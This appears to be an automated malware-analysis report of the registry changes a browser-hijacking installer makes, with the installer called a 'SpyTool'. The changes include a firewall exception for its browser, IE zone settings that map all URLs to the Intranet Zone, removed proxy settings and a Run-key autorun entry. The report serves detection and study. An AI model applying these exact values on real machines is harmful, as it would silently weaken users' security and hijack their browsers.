[HKLM\SOFTWARE\MyBrowser\Installer]
"pv" = "39.5.2171.95"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"DisplayName" = "MyBrowser"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\FileAssociations]
".shtml" = "CRSBRWSHTML"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\InstallInfo]
"ShowIconsCommand" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe --show-icons"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"ftp" = "CRSBRWSHTML"

[HKCR\ftp\shell\open\ddeexec]
"(Default)" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Classes\.xhtml]
"(Default)" = "CRSBRWSHTML"

[HKCR\ftp\shell]
"(Default)" = "open"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser]
"(Default)" = "MyBrowser"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\InstallInfo]
"HideIconsCommand" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe --hide-icons"

[HKCR\.xhtml\OpenWithProgids]
"CRSBRWSHTML" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"InstallLocation" = "%Program Files%\MyBrowser\MyBrowser\Application"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCR\CLSID\{2A563926-CF4B-4363-A760-F71E46205B7E}\LocalServer32]
"ServerExecutable" = "%Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\delegate_execute.exe"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities]
"ApplicationIcon" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"http" = "CRSBRWSHTML"

[HKCU\Software\Clients\StartmenuInternet]
"(Default)" = "MyBrowser"

[HKCU\Software\Classes\https\shell\open\command]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe -- %1"

[HKCU\Software\Classes\http\shell\open\command]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe -- %1"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\FileAssociations]
".html" = "CRSBRWSHTML"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%Program Files%\MyBrowser\MyBrowser\Application]
"mybrowser.exe" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe:*:Enabled:MyBrowser"

The SpyTool deletes the following value(s) in system registry:

[HKLM\SOFTWARE\MyBrowser\Installer]
"ap"
"InstallerExtraCode1"

The process nsy18.tmp:1632 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "85 E5 5F F8 51 FF CD DB 7D 18 C7 DD 0B 58 F9 FD"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process nsn4.tmp:224 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6B 52 67 B3 13 FA 3C C7 6C 2E C8 B8 5D 0C B7 AE"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process taskkill.exe:1632 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8E B3 0E 2E C3 E4 76 9F F4 34 AD CA F1 C8 79 1E"

The process taskkill.exe:484 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A6 1B 47 AD A6 29 70 52 2C 75 94 73 42 30 B9 90"

The process taskkill.exe:220 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0D DB 84 08 5D C2 1C 44 6A 9B 19 17 18 8F 57 B4"

The process wmic.exe:1524 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "63 F0 46 BA 55 05 15 B7 CC 02 54 A1 69 DC A2 6E"

The process amisid.exe:224 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"
"CategoryCount" = "16"

[HKCU\Software\InternetTurbo]
"UID" = "C8318CA6891F5119A9FD96EC19E98D71"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "74 E7 EF DF E0 7F 95 AF 48 C6 2C F0 EA 56 FE 44"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\amisid\DEBUG]
"Trace Level" = ""

The SpyTool deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\amisid\DEBUG]
"Trace Level"

The process amisid.exe:1228 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "21 E9 2F 99 2D 79 C2 69 E4 71 36 7B 7F 44 0D E4"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"
"EventMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKCU\Software\InternetTurbo]
"UID" = "C8318CA6891F5119A9FD96EC19E98D71"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"ControlFlags" = "1"

The process nsp1D.tmp:1376 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "19 40 F2 F2 65 3C 93 4C 8A FE 2F 9C 6A B2 AA 6E"

[HKLM\SOFTWARE\Crossbrowse]
"Preinstall" = "1"

[HKCU\Software\Crossbrowse]
"Preinstall" = "1"

The process %original file name%.exe:1704 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "56 8A E3 BE 05 FC 1D E4 80 57 0F C4 08 B6 F8 85"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nsd3C.tmp:1776 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "95 94 49 0A 54 D9 B8 1C CE 5C 0D 1A F9 76 8E 8B"

The process nsd3C.tmp:848 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKCU\Software\Tutorials\updv]
"Version" = "15.09.06"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010082_is1]
"NoRepair" = "1"
"Publisher" = "GAMESDESKTOP"
"Inno Setup: Setup Version" = "5.5.5 (a)"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010082_is1]
"InstallLocation" = "%Program Files%\gmsd_re_005010082\"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010082_is1]
"QuietUninstallString" = "%Program Files%\gmsd_re_005010082\unins000.exe /SILENT"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010082_is1]
"InstallDate" = "20150907"
"NoModify" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010082_is1]
"DisplayName" = "GamesDesktop 092.005010082"

[HKCU\Software\Tutorials\updatetutorialshp]
"MainDir" = ""

[HKCU\Software\TutoTag]
"OnceInstalled" = "re"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\GAMESDESKTOP\gmsd_re_005010082]
"PathInstall" = "%Program Files%\gmsd_re_005010082"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010082_is1]
"URLUpdateInfo" = "http://re.gamesdesktop.com"

[HKCU\Software\Microsoft]
"Tinstalls" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010082_is1]
"Inno Setup: User" = "%CurrentUserName%"
"Inno Setup: Icon Group" = "GAMESDESKTOP"

[HKCU\Software\Microsoft\Tinstalls]
"20150907" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010082_is1]
"Inno Setup: App Path" = "%Program Files%\gmsd_re_005010082"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6D EE CC 19 15 56 89 9F DE C9 04 27 1C 99 46 CA"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010082_is1]
"HelpLink" = "http://re.gamesdesktop.com"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010082_is1]
"UninstallString" = "%Program Files%\gmsd_re_005010082\unins000.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010082_is1]
"Inno Setup: Language" = "re"
"URLInfoAbout" = "http://re.gamesdesktop.com"

[HKCU\Software\TutoTag]
"AgenceInstalledYet" = "true"
"OnceInstalled2" = "re"

To automatically run itself each time Windows is booted, the SpyTool adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"gmsd_re_005010082" = "%Program Files%\gmsd_re_005010082\gmsd_re_005010082.exe"

The SpyTool deletes the following registry key(s):

[HKCU\Software\Microsoft\Active Setup\Installed Components\{22d6f312-b0f6-11d0-94ab-0080c74c7e95}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\>{881dd1c5-3dcf-431b-b061-f3f88e8be88a}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{2179C5D3-EBFF-11CF-B6FD-00AA00B4E220}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{5945c046-1e7d-11d1-bc44-00c04fd912be}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{44BBA840-CC51-11CF-AAFA-00AA00B6015C}]
[HKCU\Software\Microsoft\Active Setup]
[HKCU\Software\Microsoft\Active Setup\Installed Components\>{60B49E34-C7CC-11D0-8953-00A0C90347FF}MICROS]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{44BBA848-CC51-11CF-AAFA-00AA00B6015C}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{89B4C1CD-B018-4511-B0A1-5476DBF70820}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{7790769C-0471-11d2-AF11-00C04FA35D02}]
[HKCU\Software\Microsoft\Active Setup\Installed Components]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4340}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{2C7339CF-2B09-4501-B3F3-F3508C9228ED}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\>{26923b43-4d38-484f-9b9e-de460746276c}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{44BBA842-CC51-11CF-AAFA-00AA00B6015B}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{4b218e3e-bc98-4770-93d3-2731b9329278}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{6BF52A52-394A-11d3-B153-00C04F79FAA6}]

The process 2835.exe:792 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\3290]
"setup.exe" = "MyBrowser Installer"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Tempo]
"(Default)" = "Tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

